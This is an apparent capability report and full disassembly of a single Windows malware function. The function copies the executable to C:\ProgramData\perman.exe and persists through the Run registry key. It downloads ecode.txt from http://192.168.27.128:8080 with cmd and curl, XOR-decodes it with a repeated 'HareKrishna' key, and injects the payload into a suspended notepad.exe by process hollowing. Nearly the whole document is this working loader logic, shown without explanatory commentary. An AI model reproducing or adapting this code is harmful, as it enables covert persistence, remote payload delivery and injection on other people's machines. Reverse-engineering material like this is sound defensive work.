Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Get common file path
Persist via run registry key
Resume thread
Schedule task via at
Set current directory
Set registry value
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xb70]
sub rsp, 0xc70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0xb60], rax
lea rdx, [rbp + 0x940]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rbp + 0x720]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rdx, [rbp + 0x720]
lea rcx, [0x140003378]
call fcn.140001010
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x720]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
xor r15d, r15d
test eax, eax
je 0x1400012e1
mov r8d, 0x104
lea rdx, [rbp + 0xa50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x140003390]
lea rcx, [rbp + 0xa50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
lea r8d, [r15 + 2]
mov rcx, rax
mov r14, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, r14
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov rdi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test ebx, ebx
jle 0x140001227
mov ebx, r15d
nop
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + rsi], al
inc rbx
cmp rbx, rdi
jl 0x1400011c0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.C:ProgramData
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, [0x140003394]
lea rcx, str.perman.exe
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
mov rbx, r15
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [rbx + rsi]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
inc rbx
cmp rbx, rdi
jl 0x140001210
jmp 0x140001254
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.C:ProgramData
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, [0x140003394]
lea rcx, str.perman.exe
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8d, 0x104
lea rdx, [rbp + 0x830]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x68]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1400012e1
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], r15b
jne 0x1400012a0
mov rcx, qword [rsp + 0x68]
lea rdx, str.perman
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rbp + 0x830]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r9, str.http:__192.168.27.128:8080_ecode.txt
lea r8, [rbp + 0x940]
lea rdx, str.cmd.exe__c_cd__s__curl__s__L__s__o_ecode.txt
lea rcx, [rbp + 0x5a0]
call fcn.140001070
xorps xmm0, xmm0
mov dword [rbp + 0x470], 0x68
xor eax, eax
lea rdx, [rbp + 0x5a0]
mov dword [rbp + 0x4d4], eax
xor r9d, r9d
mov qword [rbp - 0x80], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x470]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
movups xmmword [rbp + 0x474], xmm0
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rbp + 0x4b4], xmm0
movups xmmword [rbp + 0x4c4], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x1400017ca
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x940]
mov byte [rbp + rcx + 0x610], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400013e0
lea r8, [rbp + 0x610]
dec r8
cmp byte [r8 + 1], r15b
lea r8, [r8 + 1]
jne 0x140001401
movzx ecx, word [0x140003428]
lea rdx, [rbp + 0x610]
movsd xmm0, qword [str.ecode.txt]
movsd qword [r8], xmm0
mov word [r8 + 8], cx
lea rcx, str.___Code_path:__s_n
call fcn.140001010
lea rdx, [0x140003390]
lea rcx, [rbp + 0x610]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001467
lea rcx, str.____Failed_to_Open_File____n
call fcn.140001010
lea eax, [rsi - 1]
jmp 0x1400017ca
xor edx, edx
mov rcx, rsi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rsi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov rdi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test ebx, ebx
jle 0x140001563
mov rbx, r15
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + r14], al
inc rbx
cmp rbx, rdi
jl 0x1400014a5
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
movaps xmm0, xmmword [str.HareKrishnaHareKrishnaKrishnaKrishnaHareHareHareRamHareRamRamRamHareHare]
mov rcx, 0xffffffffffffffff
movaps xmm1, xmmword [0x140003480]
movzx eax, byte [0x1400034b8]
movaps xmmword [rbp + 0x550], xmm0
movaps xmm0, xmmword [0x140003490]
movaps xmmword [rbp + 0x570], xmm0
movsd xmm0, qword [0x1400034b0]
movaps xmmword [rbp + 0x560], xmm1
movaps xmm1, xmmword [0x1400034a0]
mov byte [rbp + 0x598], al
lea rax, [rbp + 0x550]
movsd qword [rbp + 0x590], xmm0
movaps xmmword [rbp + 0x580], xmm1
inc rcx
cmp byte [rax + rcx], r15b
jne 0x140001526
mov r8, r14
mov r10, rdi
mov r9d, r15d
nop dword [rax + rax]
movsxd rax, r9d
lea r8, [r8 + 1]
xor edx, edx
inc r9d
div rcx
movzx eax, byte [rbp + rdx + 0x550]
xor byte [r8 - 1], al
sub r10, 1
jne 0x140001540
jmp 0x14000156c
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xorps xmm0, xmm0
mov dword [rbp + 0x4e0], 0x68
xor eax, eax
lea rcx, [rbp - 0x70]
xor edx, edx
mov dword [rbp + 0x544], eax
mov r8d, 0x4d0
mov qword [rsp + 0x60], rax
movups xmmword [rbp + 0x4e4], xmm0
movups xmmword [rbp + 0x4f4], xmm0
movups xmmword [rbp + 0x504], xmm0
movups xmmword [rbp + 0x514], xmm0
movups xmmword [rbp + 0x524], xmm0
movups xmmword [rbp + 0x534], xmm0
movups xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rbp + 0x4e0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000162a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Creation_of_process_failed____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x40], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001662
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_context_of_the_created_process____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rdx, qword [rbp + 0x18]
lea r8, [rbp - 0x78]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rdi
mov dword [rsp + 0x20], 0x40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x1400016c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Memory_allocation_failed____Error_Code:__d
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x1400017ca
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, r14
mov qword [rsp + 0x20], r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001701
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_write_process_memory____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x460]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001746
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_in_VirtualProtectEx____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov qword [rbp + 0x88], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000177b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_setting_context____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1400017a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_resuming_the_process____Error_Code:__d
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017ca
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Hollow_injection_complete____n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0xb60]
xor rcx, rsp
call fcn.140001810
lea r11, [rsp + 0xc70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret